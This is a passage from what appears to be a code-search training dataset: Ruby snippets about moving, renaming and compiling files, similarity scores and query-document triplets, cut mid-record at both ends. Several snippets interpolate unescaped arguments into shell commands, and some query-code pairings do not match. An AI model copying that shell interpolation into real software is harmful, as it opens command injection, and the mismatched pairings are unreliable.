"def move_to_trash\n source_dir = Item.new(Path.new(params[:source_dir]))\n dest_dir_path = Pathname.new(source_dir.path.dirname.to_s + \"/RESTARTED/RESTARTED_\" + source_dir.path.basename.to_s)\n\n dest_dir_string = dest_dir_path.to_s\n dir_found = false\n i = 1\n while(!dir_found)\n dest_dir = Item.new(Path.new(dest_dir_string))\n if dest_dir.exist?\n dest_dir_string = dest_dir_path.to_s + \"_#{i}\"\n i += 1\n else\n dir_found = true\n end\n end\n\n response = {}\n if !source_dir.exist?\n response[:msg] = \"No folder at location, nothing to do\"\n render json: response, status: 200\n elsif source_dir.move_to(dest_dir)\n response[:msg] = \"Success\"\n render json: response, status: 200\n else\n response[:msg] = \"Fail\"\n render json: response, status: 422\n end\n end",
"def move(d)\n\n\t\t# Validate target directory\n\t\traise \"Target directory not found, #{d}\" unless File.directory?(d)\n\t\tdname = File.expand_path(d)\n\n\t\t# Construct target pathnames\t\t\n\t\tmetanew = File.join( dname, @metafile )\n\t\tdatanew = File.join( dname, @datafile )\n\t\t\n\t\t# Move the pair to new directory\n\t\tbegin\n\t\t\tFileUtils.move( @metafull, metanew ) if has_meta?\n\t\t rescue\n\t\t\traise \"Move failed for #{@metafull} to #{metanew}: $!\"\n\t\t end\n\t\t\n\t\tbegin\n\t\t\tFileUtils.move( @datafull, datanew )\n\t\t rescue\n\t\t\traise \"Move failed for #{@datafull} to #{datanew}: $!\"\n\t\t end\n\n\t\t# Update instance variables\n\t\t@dirname = dname\n\t\t@metafull = metanew\n\t\t@datafull = datanew\n\t\t\n\tend",
"def move(from, to:)\n log \"moving from #{from} to #{to}...\"\n @ftp.rename(from, to)\n end",
"def move_opt_chef(src, dest)\n converge_by(\"moving all files under #{src} to #{dest}\") do\n FileUtils.rm_rf dest\n raise \"rm_rf of #{dest} failed\" if ::File.exist?(dest) # detect mountpoints that were not deleted\n FileUtils.mv src, dest\n end\nrescue => e\n # this handles mountpoints\n converge_by(\"caught #{e}, falling back to copying and removing from #{src} to #{dest}\") do\n begin\n FileUtils.rm_rf dest\n rescue\n nil\n end # mountpoints can throw EBUSY\n begin\n FileUtils.mkdir dest\n rescue\n nil\n end # mountpoints can throw EBUSY\n FileUtils.cp_r Dir.glob(\"#{src}/*\"), dest\n FileUtils.rm_rf Dir.glob(\"#{src}/*\")\n end\nend",
"def move(args)\n if ENV['USE_SVN'] == 'true'\n `svn move #{args}`\n else\n `mv #{args}`\n end\n end",
"def move(args)\n if ENV['USE_SVN'] == 'true'\n `svn move #{args}`\n else\n `mv #{args}`\n end\n end",
"def move_directory(directory,target)\n log_new(\"move directory -> #{File.basename(directory)}\")\n \n if File.exists? \"#{target}/#{File.basename(directory)}\"\n log(\"warning dst directory exists: \\'#{File.basename(directory)}\\'\")\n else \n # if the directory does not exist it is created\n FileUtils.mkdir_p(target,$options) if not File.directory? target\n FileUtils.mv(directory,target,$options) if ( (File.dirname directory) != target.gsub(/\\/$/,'')) \n symlink_on_move(directory,target)\n end\nend",
"def dragged\n \n $dz.determinate(true)\n\n count = $items.count\n percent = 0.0\n\n $dz.begin \"Packing #{count} Dir to #{count} txz file...\"\n\n dirs = $items.map do |dir|\n dir = File.expand_path dir\n if not File.directory? dir\n $dz.alert 'Invalid Dir', \"Invalid Dir #{dir}\"\n return\n end\n $dz.percent percent += 5.0 / count\n dir\n end\n\n dirs.compact!\n\n wd = Dir.getwd\n\n for dir in dirs\n path = File.dirname(dir)#.sub(' ', '\\ ')\n name = File.basename(dir)#.sub(' ', '\\ ')\n #$dz.alert name, path\n `cd \"#{path}\" && XZ_OPT=-9e tar --exclude='__MACOSX*' --exclude='*.DS_Store' -cJf \"#{name}.txz\" \"#{name}\"`\n $dz.percent percent += 95.0 / count\n #\"#{dir}.txz\"\n end\n\n Dir.chdir wd\n\n $dz.finish \"#{count} txz created\"\n $dz.url false\nend",
"def moveFileToDoneFolder(file, dest, logkey='')\n\tMcmlln::Tools.moveFile(file, dest)\nrescue => logstring\nensure\n\tMcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend",
"def mv!(to)\n files.map{|file| file.mv! to }\n end",
"def move_to(dest_file)\n\t\treturn false if !exist?\n\t\t\n\t\treturn false if !dest_file.path.create_structure\n\n\t\treturn false if !FileManager.move(@path,dest_file.path)\n\n\t\treturn true\n\tend",
"def move\n @page = Page.find(params[:drag_id])\n @page.update_sorting Page.find(params[:drop_id]), params[:position]\n \n render :json => { :moved => true }\n end",
"def move_to_target_directory!\n return if new_record? || !readable?\n\n src = diskfile\n self.disk_directory = target_directory\n dest = diskfile\n\n return if src == dest\n\n if !RedmicaS3::Connection.move_object(src, dest)\n Rails.logger.error \"Could not move attachment from #{src} to #{dest}\"\n return\n end\n\n update_column :disk_directory, disk_directory\n end",
"def post_move_folder(request)\n data, _status_code, _headers = post_move_folder_with_http_info(request)\n data\n end",
"def strip_file(file, to)\n @src_files = [] if @src_files.nil?\n\n @src_files.push file\n @dst_dir = to\n end",
"def move_temp_to_destination\n if !File.exist? temp_file\n $logger.info \"no moving, transcode didn't complete\"\n return\n end\n $logger.info \" moving (temp->destination)\\n #{temp_file} ->\\n #{destination_file}\"\n FileUtils.mv temp_file, destination_file\n end",
"def move(options = {})\n required_input_files :src_path\n required_output_files :dst_path\n\n src_path = input_file(:src_path)\n dst_path = output_file(:dst_path)\n\n if File.exist?(dst_path)\n raise \"dst_path '#{dst_path}' already exist\"\n end\n \n dst_dir = File.dirname(dst_path)\n FileUtils.mkdir_p(dst_dir) unless Dir.exist?(dst_dir)\n FileUtils.move(src_path, dst_path)\n\n return true\n end",
"def mv(src, dst, **_opts)\n full_src = full_path(src)\n full_dst = full_path(dst)\n\n mkdir_p File.dirname(full_dst)\n sh! %(mv -f #{Shellwords.escape(full_src)} #{Shellwords.escape(full_dst)})\n rescue CommandError => e\n e.status == 1 ? raise(BFS::FileNotFound, src) : raise\n end",
"def pre_sync\n #move\n end",
"def move_file(file, destination)\n return nil if file.blank? || destination.blank?\n\n FileUtils.mv(file, destination, force: true) if file_exists?(file)\n end",
"def move(from, to)\n #Check to see if the move is from a correct directory\n if !(check_valid_file from) && ! (check_valid_file to)\n return {:id => from, :moved => false}\n end\n \n name = get_name from\n res = {:id => from, :success => false}\n begin\n #move file\n mv from, to\n #Move thumb if it is an image\n ext = get_extension from\n if (@image_extensions.find{|v| v == ext} != nil ? true : false)\n thumb_from = (from.gsub /^#{@dirname}/, @thumbs) + @thumbext\n thumb_to = to.gsub /^#{@dirname}/, @thumbs\n mv thumb_from, thumb_to\n end\n #return data of the file\n filename = \"#{to}/#{name}\"\n res = file_details(filename)\n res[:success] = true\n rescue\n return res\n end\n \n res\n end",
"def disk_mv(src_file, dst_file, options)\n mover = options[:git] ? 'git mv' : 'mv'\n command = \"#{mover} '#{src_file.path}' '#{dst_file.path}'\"\n system(command) || raise(InputError, \"#{command} failed\")\n end",
"def move_files(dir,same_files)\n\tfirst= dir.to_s==\":first\"\n\tlast= dir.to_s==\":last\"\n\tdir.mkpath unless first or last\n\tsame_files.each do |files|\n\t\tf,*rest=files\n\t\tif first\n\t\t\tnew_file=f\n\t\t\tfiles=rest\n\t\telsif last\n\t\t\t*files,new_file=files\n\t\telse\n\t\t\tnew_file=(dir+f.basename).nonexisting_name\n\t\t\tf.mv(new_file,verbose:true) or raise \"Can't move file '#{f}': #{$!}\"\n\t\tend\n\t\tfiles.each do |file|\n\t\t\t#rel=new_file.relative_path_from(file.dirname)\n\t\t\trel=file.rel_path_to(new_file)\n\t\t\t#puts \"file: #{file}, new_file: #{new_file}, rel: #{rel}\"\n\t\t\tfile.on_ln_s(rel, rm: :file,verbose:true) or raise \"Can't symlink '#{file}': #{$!}\"\n\t\tend\n\tend\nend",
"def copy_files_to_dir(file,destination)\n FileUtils.cp(\"#{@gem_path}/lib/modules/common/#{file}\",\"#{@project_name}/#{destination}\")\n $stdout.puts \"\\e[1;32m \\tcreate\\e[0m\\t#{destination}/#{file}\"\n end",
"def folder_changed(choo_dir, choo_file)\n dir = choo_dir.filename\n choo_file.current_folder = dir\nend",
"def move_to_trash!(remove_empty_dir: true)\n curr_path, = file_path_and_role_name\n unless curr_path\n raise FsException::Action, \"Move to trash not allowed. File not accessible with current roles: #{curr_path}\"\n end\n\n dt = DateTime.now.to_i\n new_file_name = \"#{file_name}--#{dt}\"\n move_to trash_path, new_file_name\n\n return unless curr_path && is_a?(ArchivedFile) && remove_empty_dir\n\n NfsStore::Archive::Mounter.remove_empty_archive_dir(curr_path)\n end",
"def backup_file folder,file\n @manager ||= Conf::LocalFileManager.new\n newp = File.join(Conf::directories.backup,@curr_source.name.to_s,folder)\n file.zip! unless file.zip?\n @manager.move_files [file],newp\n end",
"def proc_dir_toinst(new_dir, root_new_files)\n @log.debug(\"Processing dir: #{new_dir}\")\n app_dir_dst = File.join(@target_app_root_path, @app_root_subfolder)\n old_dest_dir = File.join(app_dir_dst, new_dir)\n if File.directory?(old_dest_dir)\n # old dir backup\n time_form = Time.now.strftime(\"%y%m%d%H%M%S\")\n old_dest_bckdir = \"#{old_dest_dir}_#{time_form}\"\n FileUtils.mv(old_dest_dir, old_dest_bckdir)\n @log.info(\"moved directory #{old_dest_dir} to backup dir #{old_dest_bckdir}\")\n else\n @log.debug(\"#{old_dest_dir} not a directory\")\n end\n # copy source directory in to destination recursively\n src_dir = File.join(root_new_files, new_dir)\n FileUtils.cp_r(src_dir ,old_dest_dir)\n @log.debug(\"Copy dir #{src_dir} to #{old_dest_dir}\")\n end",
"def performDragOperation(sender)\n # NSLog(@\"performDragOperation\");\n puts \"performDragOperation\" if DEBUG\n \n #NSPasteboard *pboard = [sender draggingPasteboard];\n pboard = sender.draggingPasteboard\n \n #if pboard.types.contains? NSFilenamesPboardType\n files = pboard.propertyListForType NSFilenamesPboardType\n filename = \"\"\n files.each do |file|\n filename = file.description\n puts \"filename: #{filename}\" if DEBUG\n @filenames << filename\n end\n #end\n\t\n return true\n end"
] | [
"0.72127473",
"0.6832489",
"0.67115253",
"0.6645521",
"0.65820056",
"0.65809214",
"0.652773",
"0.65077513",
"0.6478392",
"0.6450735",
"0.6449645",
"0.64478666",
"0.6424547",
"0.6403557",
"0.63891315",
"0.63879997",
"0.63768935",
"0.63656944",
"0.63237506",
"0.6302895",
"0.6275916",
"0.6220071",
"0.620707",
"0.6175153",
"0.6158387",
"0.6156769",
"0.61508906",
"0.613542",
"0.6130425",
"0.61142653",
"0.6040141",
"0.60130763",
"0.60118437",
"0.5975922",
"0.5941001",
"0.59153175",
"0.5910749",
"0.5874031",
"0.5855972",
"0.583988",
"0.5819272",
"0.5819272",
"0.5818551",
"0.5814331",
"0.5814071",
"0.58101815",
"0.5791177",
"0.57876664",
"0.5782844",
"0.5776446",
"0.5752389",
"0.5749306",
"0.57485956",
"0.57459337",
"0.57378143",
"0.57131374",
"0.5708036",
"0.57071394",
"0.5695736",
"0.5692818",
"0.56750804",
"0.56724185",
"0.56723344",
"0.56716263",
"0.5666476",
"0.5658189",
"0.5654632",
"0.564395",
"0.5618122",
"0.5609197",
"0.5605863",
"0.5604781",
"0.5603787",
"0.56033015",
"0.55853844",
"0.557214",
"0.557214",
"0.55591106",
"0.553238",
"0.55294645",
"0.5517915",
"0.5509352",
"0.55088645",
"0.550046",
"0.54994684",
"0.5491901",
"0.5483068",
"0.5473636",
"0.5463313",
"0.5462321",
"0.5461314",
"0.5453921",
"0.5453456",
"0.54448473",
"0.5443922",
"0.5437629",
"0.5431594",
"0.542377",
"0.5418995",
"0.5416082"
] | 0.64167213 | 13 |
ToDo: Rename one or the other | def initialize(identity, resource: nil, cache: nil, primary: false)
@identity = identity
@cache = cache
@resource = resource
@primary = primary
@attributes = {}
@related = {}
@related_from = Set.new
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def rename(old_name, new_name); end",
"def rename(old_name, new_name); end",
"def renamenx(old_name, new_name); end",
"def renamenx(old_name, new_name); end",
"def rename(a, b)\n @@__name_sets[@@__defining][b] = :\"__#{a}\"\n @@__name_sets[:original][a] = :\"__#{a}\"\n\n class<<self\n self\n end.class_eval do\n alias_method :\"__#{a}\", a\n remove_method a\n end\n end",
"def rename(new_name)\n raise 'to be implemented in subclass'\n end",
"def old_name; end",
"def swap_names(left , right)\n left , right = left.to_s , right.to_s\n l = @names[left]\n r = @names[right]\n raise \"No such name #{left}\" unless l\n raise \"No such name #{right}\" unless r\n @names[left] = r\n @names[right] = l\n end",
"def renamed(item, oldName, newName)\n end",
"def original_name; end",
"def rename_to_bob\n name = 'Bob'\n end",
"def rename\n @rename ||= settings[:option] ? (settings[:as] || name) : name\n end",
"def swap_name(name)\n name.split(' ')[1] + ', ' + name.split(' ')[0]\nend",
"def swap_names(name)\n real_names = name.downcase.split(\" \")\n real_names[0], real_names[-1] = real_names[-1], real_names[0]\n real_names.join(\" \")\nend",
"def new_name; end",
"def rename new_name\n @name = new_name.to_sym\n end",
"def rename new_name\n @name = new_name.to_sym\n end",
"def rename(_old_team, _new_team)\n # stub\n end",
"def rename(old, new)\n args = [\"old=#{old.uri_escape}\", \"new=#{new.uri_escape}\"]\n get('/api/tags/rename?' << args.join('&'))\n nil\n end",
"def rename_file\n\n end",
"def name_switch(first_name, last_name)\r\n\tswap = last_name + \" \" + first_name\r\n\r\nend",
"def name_switch(first_name, last_name)\r\n\tswap = last_name + \" \" + first_name\r\n\r\nend",
"def rename\n render\n end",
"def name_swap(name)\n reverse_name = name.downcase.split.reverse.join(' ')\n vowel_swap = reverse_name.tr!('aeiou', 'eioua')\n consonant_swap = vowel_swap.tr!('bcdfghjklmnpqrstvwxyz', 'cdfghjklmnpqrstvwxyz').split\n final_alias = consonant_swap.map(&:capitalize).join(' ')\nend",
"def rename!(new_name, orig_name)\n new_name = new_name.to_underscore_sym\n orig_name = orig_name.to_underscore_sym\n raise ArgumentError, \"Column not found\" unless self.labels.include?(orig_name)\n raise ArgumentError, \"Cannot name #{orig_name} to #{new_name}, that column already exists.\" if self.labels.include?(new_name)\n i = self.labels.index(orig_name)\n self.labels[i] = new_name\n end",
"def name_swap(name_to_be_altered)\n\t#STEP \t1) Breaking it into a word array\n\n\tname_arrayed = name_to_be_altered.split(' ')\n\t# STEP\t2) Doing a method that switches the first and second elements in the array\n\tname_arrayed.insert(0, name_arrayed.delete_at(1))\nend",
"def name_swap(name)\n new_name = name.downcase.split(' ')\n spy_name = new_name[1] + ' ' + new_name[0]\n vowels = 'aeioua'\n consonants = 'bcdfghjklmnpqrstvwxyzb'\n new_letter = \"\"\n spy_name.chars.each do |letter|\n if vowels.include?(letter)\n new_letter += change_vowels(letter)\n #p new_letter\n elsif consonants.include?(letter)\n new_letter += change_consonant(letter)\n #p new_letter\n else\n new_letter += letter\n end\n end\n change_name = new_letter.split(' ')\n final_name = change_name.map{|name| name.capitalize}.join(' ')\n# Add a hash to store names and alias names\n alias_names = { name: name, encrypted_name: final_name}\n alias_names.store(:name, name)\n alias_names.store(:encrypted_name, final_name)\n return alias_names\n end",
"def renamenx(old_name, new_name)\n send_command([:renamenx, old_name, new_name], &Boolify)\n end",
"def name_swap(real_name)\n\tnew_name = name_handler(real_name)\n puts new_name\n return new_name\nend",
"def rename_story\n\n end",
"def rename\r\n render\r\n end",
"def name_swap(name)\n name_store = name.downcase.split(' ')\n swap_name = name_store.reverse!\n new_name = \"#{swap_name[0]} #{swap_name[1]}\"\nend",
"def rename(*arguments)\n dup.rename!(*arguments)\n end",
"def rename(file, newname)\n raise \"Sorry... 'AimsCalc rename' isn't implemented yet.\"\nend",
"def rename oldname, newname\n add \"mv #{oldname} #{newname}\", check_file(newname)\n end",
"def rename old,new,params=nil\n a = self.image(old)\n return nil if a.nil?\n b = self.image(new)\n if !b.nil?\n raise 'Error #3 ' + @@errors[3] if !params || !params[:force]\n delete b[:original]\n end\n self.store absolute(a[:original]),:name => new\n a[:widths].each do |w|\n self.fetch new , :width => w\n end\n a[:heights].each do |w|\n self.fetch new , :height => w\n end\n delete a[:original]\n end",
"def swapName(full_name)\n split_name = full_name.split(' ')\n temp = split_name[1]\n split_name[1] = split_name[0]\n split_name[0] = temp\n full_name = split_name.join(' ')\nend",
"def swap_name(name)\n \"#{name.split[1]}, #{name.split[0]}\"\nend",
"def rename_file\n true\n end",
"def rename_comparison(old_name, new_name)\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.RunEditor_rename_comparison(@handle.ptr, old_name, new_name)\n result\n end",
"def rename_this_name(name)\n name\n end",
"def swap(real_name)\n real_name.split(\" \").reverse.join(\" \")\nend",
"def rename(old_name, new_name)\n move(old_name, new_name)\n end",
"def rename(oldname, newname)\n tagged_response(\"RENAME\", to_utf7(oldname), to_utf7(newname))\n end",
"def rename(name)\n url = prefix + \"rename&name=#{name}\" \n return response(url)\n end",
"def swap_name(real_name)\n swapped_name = real_name.split(/ /).reverse #split and swap first name and last name\n last_name = swapped_name[0].chars\n first_name = swapped_name[1].chars\n swapped_name = [last_name, first_name] #split characters of the first and last names\nend",
"def swap_name(name)\r\n name.split.reverse.join(', ')\r\nend",
"def swap_name(full_name)\n name_array = full_name.split(\" \")\n \"#{name_array[1]}, #{name_array[0]}\"\nend",
"def renameable(attribute = :name)\n define_method :renamed do |renamer|\n send :\"with_#{attribute}\", renamer.new_name_of(send(attribute))\n end\n end",
"def rename(old_name, new_name)\n send_command([:rename, old_name, new_name])\n end",
"def rename_this_name(name)\n name\n end",
"def swap_name_order(name)\n # Split input into first name and last name\n first_name = name.split(' ')[0].capitalize\n last_name = name.split(' ')[1].capitalize\n fake_name_1 = last_name + \" \" + first_name\nend",
"def rename(aliases)\n new(map { |direction| direction.rename(aliases) })\n end",
"def swap_name(name)\r\n name.split.reverse.join(\", \")\r\nend",
"def create_spy_alias(name)\n swapped_name = name_swapper(name) #-> 'Torres Felicia'\n swapped_vowels = vowel_swapper(swapped_name) #-> 'Turris Femidia'\n swapped_consonants = consonatn_swapper(swapped_vowels) #=> 'Vussit Gimodoe'\n swapped_consonants\nend",
"def swap_name(strings)\n strings.split.reverse.join(', ')\nend",
"def renamed\n {\n \"supply_consumption\" => \"supply_use\",\n \"max_organisation\" => \"org\",\n \"max_strength\" => \"hp\",\n \"default_morale\" => \"recovery_rate\",\n }\n end",
"def rename(old_tag, new_tag)\n args = [\"old=#{u(old_tag)}\", \"new=#{u(new_tag)}\"]\n get('tags/rename?' << args.join('&'))\n nil\n end",
"def swap(name)\r\n\tname.downcase.split.reverse\r\nend",
"def swap_name(name)\n\tname.split.reverse.join(', ')\nend",
"def swap_name(name)\n name.split(' ').reverse.join(', ')\nend",
"def swap_name(name)\n name.split.reverse.join(', ')\nend",
"def swap_name(name)\n name.split.reverse.join(', ')\nend",
"def swap_name(name)\n name.split.reverse.join(', ')\nend",
"def swap_name(name)\n name.split.reverse.join(', ')\nend",
"def swap_name(name)\n #name_array = name.split(' ')\n #\"#{name_array[1]}, #{name_array[0]}\"\n name.split(' ').reverse.join(', ')\nend",
"def name_swap (secret_name)\n\tsecret_name = secret_name.split(' ')\n\tsecret_name = secret_name.reverse\n\tsecret_name = secret_name.join(' ')\n\tsecret_name\nend",
"def new_alias(full_name)\n full_name.split(\" \")\n swapped_name = \"#{full_name.split(\" \")[1]} #{full_name.split(\" \")[0]}\"\n swapped_name.tr('AEIOUaeiouBCDFGHJKLMNPQRSTVWXYZbcdfghjklmnpqrstvwxyz', 'EIOUAeiouaCDFGHJKLMNPQRSTVWXYZBcdfghjklmnpqrstvwxyzb')\n end",
"def move_description_to_another_name\n src_was_default = (@src.parent.description_id == @src.id)\n make_dest_default = @dest.description_id.nil? && src_was_default\n\n remove_parent_default_desc_and_log_it if src_was_default\n set_src_parent_to_dest_and_log_it\n\n if make_dest_default && @src.fully_public?\n make_src_the_new_default_description_for_dest_and_log_it\n end\n\n flash_notice(:runtime_description_move_success.t(old: @src.format_name,\n new: @dest.format_name))\n redirect_to(object_path_with_query(@src))\n end",
"def swap_name(name)\n arr = name.split\n arr[0], arr[1] = arr[1], arr[0]\n arr.join(', ')\nend",
"def name_swap(name)\n name.reverse!\n name\nend",
"def swap_name(str)\n full_name = str.split\n \"#{full_name[1]}, #{full_name[0]}\"\nend",
"def rename_with_file_type(ori, nam)\n s = ori.split('.')\n nam + '.' + s[s.length - 1]\n end",
"def rename(name)\n url = prefix + \"rename&name=#{name}\"\n return response(url)\n end",
"def swap_name(str)\n str.gsub(/(.+)\\s(.+)/, '\\2, \\1')\nend",
"def changeName\r\n\t\tcheckSpace\r\n\tend",
"def rename(renames)\n operations = renames.inject({}) do |ops, (old_name, new_name)|\n ops[old_name] = new_name.to_s\n ops\n end\n view.update_many(\"$rename\" => collect_operations(operations))\n end",
"def swap_name(name)\n name_array = name.split\n \"#{name_array[-1]}, #{name_array[0]}\"\nend",
"def rename(id, name = \"\")\n item = Item.find(id)\n item.class == Item ? item.update(:name => name) : item\n end",
"def name_swap(name)\r\n new_name = name.split(' ')\r\n new_name.reverse.join(' ')\r\nend",
"def rename(new_aliases)\n renamed_aliases = aliases.rename(new_aliases)\n renamed_relation = relation.rename(renamed_aliases)\n\n new(name, renamed_relation, renamed_aliases)\n end",
"def rename(new_name)\n\n self.update_attribute(:name, new_name)\n\n folder = self.get_team_folder\n\n unless folder.nil?\n folder.update_attribute(:name, new_name)\n end\n end",
"def replace_name(line, old_name, new_name)\n line.sub(\n /(\\s)#{Regexp.escape(old_name)}(\\s|$)/,\n \"\\\\1#{new_name}\\\\2\"\n )\n end",
"def replace_name(line, old_name, new_name)\n line.sub(\n /(\\s)#{Regexp.escape(old_name)}(\\s|$)/,\n \"\\\\1#{new_name}\\\\2\"\n )\n end",
"def rename!(oldkey, newkey)\n timeout_retry(3, 3){\n write \"RENAME #{oldkey} #{newkey}\\r\\n\"\n status_code_reply\n }\n end",
"def new_name(old_name)\n \"flexmock_original_behavior_for_#{old_name}\"\n end",
"def new_name(old_name)\n \"flexmock_original_behavior_for_#{old_name}\"\n end",
"def name = (name)",
"def renamenx(old_name, new_name)\n ensure_same_node(:renamenx, [old_name, new_name]) do |node|\n node.renamenx(old_name, new_name)\n end\n end",
"def rename(name, new_name)\n @driver.renameRule([name], [new_name])\n end",
"def swap_name(string)\n string.split.reverse.join(', ')\n end",
"def rename_image\n @renaming_image ||= note =~ Bubs::Regexp::RENAME_IMAGE_TAG ? $1 : false\n end",
"def swap (secret_name)\r\n\tswapped_name = secret_name.split.reverse\r\n\tswapped_name.map(&:capitalize).join (\" \")\r\nend",
"def rename(entry, new_name, &continue_on_exists_proc); end",
"def rename(aliases)\n new(aliases.each_with_object(entries.dup) { |(old, new), new_entries|\n new_entries[new] = new_entries.delete(old)\n })\n end",
"def module_alias(new_name, old_name)\n\t\t\[email protected]_module_alias(new_name,old_name)\n\t\tend",
"def swap_name(string)\n name_array = string.split\n \"#{name_array[1]}, #{name_array[0]}\"\n\nend",
"def replace_names!(former,nname)\n # Stop here if the name is redeclared.\n return if self.each_type.find {|type| type.name == former }\n return if self.each_systemT.find {|systemT| systemT.name == former }\n return if self.each_inner.find {|inner| inner.name == former }\n # Recurse on the internals.\n replace_names_subs!(former,nname)\n end",
"def aliased_name; end",
"def rename(event)\n @rename.each do |old, new|\n item = event.get(old)\n next if item.nil?\n event.set(new, item)\n event.remove(old)\n end\n end",
"def swap_name(string)\n \"#{string.split[1]}, #{string.split[0]}\"\nend"
] | [
"0.7053583",
"0.7053583",
"0.703",
"0.703",
"0.6923268",
"0.6917784",
"0.6786899",
"0.6752304",
"0.66085714",
"0.64938855",
"0.64371645",
"0.64196026",
"0.6345956",
"0.633506",
"0.6245946",
"0.62207645",
"0.62207645",
"0.62190044",
"0.61999255",
"0.6196539",
"0.61928827",
"0.61928827",
"0.6168606",
"0.61681575",
"0.61498886",
"0.61334985",
"0.61006474",
"0.60999554",
"0.609656",
"0.6088241",
"0.6087094",
"0.60860825",
"0.607994",
"0.6056705",
"0.60339797",
"0.6012827",
"0.5958135",
"0.59569216",
"0.5952151",
"0.5943641",
"0.5943423",
"0.59277904",
"0.5921777",
"0.5917774",
"0.5915022",
"0.5909117",
"0.59056795",
"0.5902747",
"0.58997166",
"0.5897048",
"0.58845514",
"0.5883741",
"0.5883349",
"0.5878624",
"0.5862225",
"0.58596",
"0.58507323",
"0.5849963",
"0.58385545",
"0.58339286",
"0.5830179",
"0.5825416",
"0.5825416",
"0.5825416",
"0.5825416",
"0.5823274",
"0.5818953",
"0.58185965",
"0.5815113",
"0.5808589",
"0.58076596",
"0.58042747",
"0.5803593",
"0.5789452",
"0.5788191",
"0.57875496",
"0.5784742",
"0.5779759",
"0.5771297",
"0.57683235",
"0.57633436",
"0.5758528",
"0.57576984",
"0.57576984",
"0.57539994",
"0.5745098",
"0.5745098",
"0.5741888",
"0.5738511",
"0.57191354",
"0.5715117",
"0.5710507",
"0.57030934",
"0.5699079",
"0.5698858",
"0.5690613",
"0.5690247",
"0.5690229",
"0.5688704",
"0.5685511",
"0.5684066"
] | 0.0 | -1 |
Get a (potentially cached) version of the compiled source code for sgNodeMapper. Returns an ExecJS::ExternalRuntime::Context. | def context
@context ||= ExecJS.compile(source)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def context\n @context ||= ExecJS.compile source\n end",
"def runtime\n @runtime ||= ExecJS.compile(source)\n end",
"def runtime\n @runtime ||= ExecJS.compile(source)\n end",
"def runtime\n @runtime ||= ExecJS.compile(source)\n end",
"def compile_sourcemap_string\n JSON.dump(compile_sourcemap)\n end",
"def source_compiler\n @source_compiler ||= Sprockets::Environment.new.tap do |env|\n env.append_path File.expand_path(\"./js\", File.dirname(__FILE__))\n end\n end",
"def source_location\n to_java.source_location(Thread.current.to_java.getContext())\n end",
"def source_location\n to_java.source_location(Thread.current.to_java.getContext())\n end",
"def local(source_map); end",
"def compiled_source\n set_strict_locals = strict_locals!\n source = encode!\n code = @handler.call(self, source)\n\n method_arguments =\n if set_strict_locals\n \"output_buffer, #{set_strict_locals}\"\n else\n \"local_assigns, output_buffer\"\n end\n\n # Make sure that the resulting String to be eval'd is in the\n # encoding of the code\n source = +<<-end_src\n def #{method_name}(#{method_arguments})\n @virtual_path = #{@virtual_path.inspect};#{locals_code};#{code}\n end\n end_src\n\n # Make sure the source is in the encoding of the returned code\n source.force_encoding(code.encoding)\n\n # In case we get back a String from a handler that is not in\n # BINARY or the default_internal, encode it to the default_internal\n source.encode!\n\n # Now, validate that the source we got back from the template\n # handler is valid in the default_internal. This is for handlers\n # that handle encoding but screw up\n unless source.valid_encoding?\n raise WrongEncodingError.new(source, Encoding.default_internal)\n end\n\n if Template.frozen_string_literal\n \"# frozen_string_literal: true\\n#{source}\"\n else\n source\n end\n end",
"def initialize(runtime=nil)\n runtime ||= ExecJS.runtime\n @context = runtime.compile(self.class.source)\n end",
"def app_source\n return @app_source if @app_source\n\n Find.find(node_modules_bin) {|path| @app_source = path if path =~ /jscs$/ }\n @app_source\n end",
"def compile_script_string\n @sources.string\n end",
"def compile_sourcemap\n combo_map = nil\n # SourceMap::Map#+ does source map merges, so...\n @maps.each_with_index do | map_object |\n combo_map = (combo_map ? combo_map + map_object : map_object)\n end\n combo_map.as_json # to_json of this one does not conform to ActiveSupport\n end",
"def source_path\n File.join(File.expand_path('../../', __FILE__), 'vendor', 'sg_node_mapper', 'nodemapper.js')\n end",
"def source_map\n o = Object.new\n def o.generated_code; \"\"; end\n def o.to_h; {version: 3, sections: nil, sources: [], mappings: []}; end\n o\n end",
"def code()\n return @code.clone()\n end",
"def source\n source = source_compiler['jison.js'].to_s\n source_compiler.each_logical_path do |logical_path|\n next if logical_path == 'jison.js'\n src = source_compiler[logical_path].to_s\n logical_path.sub! /\\.js$/, ''\n source.concat \"require.def('#{logical_path}',{factory:function(require,exports,module){#{src}}});\"\n end\n source + \"var Dock = require('dock').Dock;\"\n end",
"def compile(script, options = {})\n script = script.read if script.respond_to?(:read)\n\n unless options.key?(:bare)\n options[:bare] = false\n end\n\n format = options[:format] == :map ? 'sourceMap' : 'js'\n options.delete(:format)\n Source.context.call(\"(function() { return root.CoffeeScript.#{ format }(root.CoffeeScript.compile(root.CoffeeScript.parse.apply(this, arguments))) })\", script, options)\n end",
"def css_with_sourcemap\n visitor = Sass::Tree::Visitors::ToCss.new(:build_source_mapping)\n result = visitor.visit(self)\n return result, visitor.source_mapping\n end",
"def compile_program filename, sexp\n @filename = filename\n if sexp.nil?\n position = [] # because the debugger special-cases this possibility\n elsif sexp[0] == :block\n position = [] # because position will be printed anyway\n elsif sexp.source\n position = [[:position, @filename] + sexp.source]\n elsif sexp[0] == :masgn\n position = [[:position, @filename] + sexp[1][1].source]\n else\n no 'top s-exp with nil source'\n end\n\n position + compile(sexp)\n end",
"def compile\n lexer = Bolverk::ASM::Lexer.new(@stream)\n tokens = lexer.scan\n\n parser = Bolverk::ASM::Parser.new(tokens)\n parse_tree = parser.parse\n\n generator = Bolverk::ASM::Generator.new(parse_tree)\n source = generator.generate\n\n return source\n end",
"def sass_generate_source_map(engine); end",
"def source_map_file; end",
"def program\n @compile\n end",
"def sass_embedded_generate_source_map(source_map); end",
"def extract_code!\n data = @data\n data.gsub!(/^``` ?([^\\r\\n]+)?\\r?\\n(.+?)\\r?\\n```\\r?$/m) do\n id = Digest::SHA1.hexdigest($2)\n cached = check_cache(:code, id)\n @codemap[id] = cached ?\n { :output => cached } :\n { :lang => $1, :code => $2 }\n id\n end\n data\n end",
"def compile_and_load input\n mod = Gene::Lang::Jit::Compiler.new.compile input\n\n @module_mappings[mod.id] = mod\n add_blocks_from_module mod\n\n mod\n end",
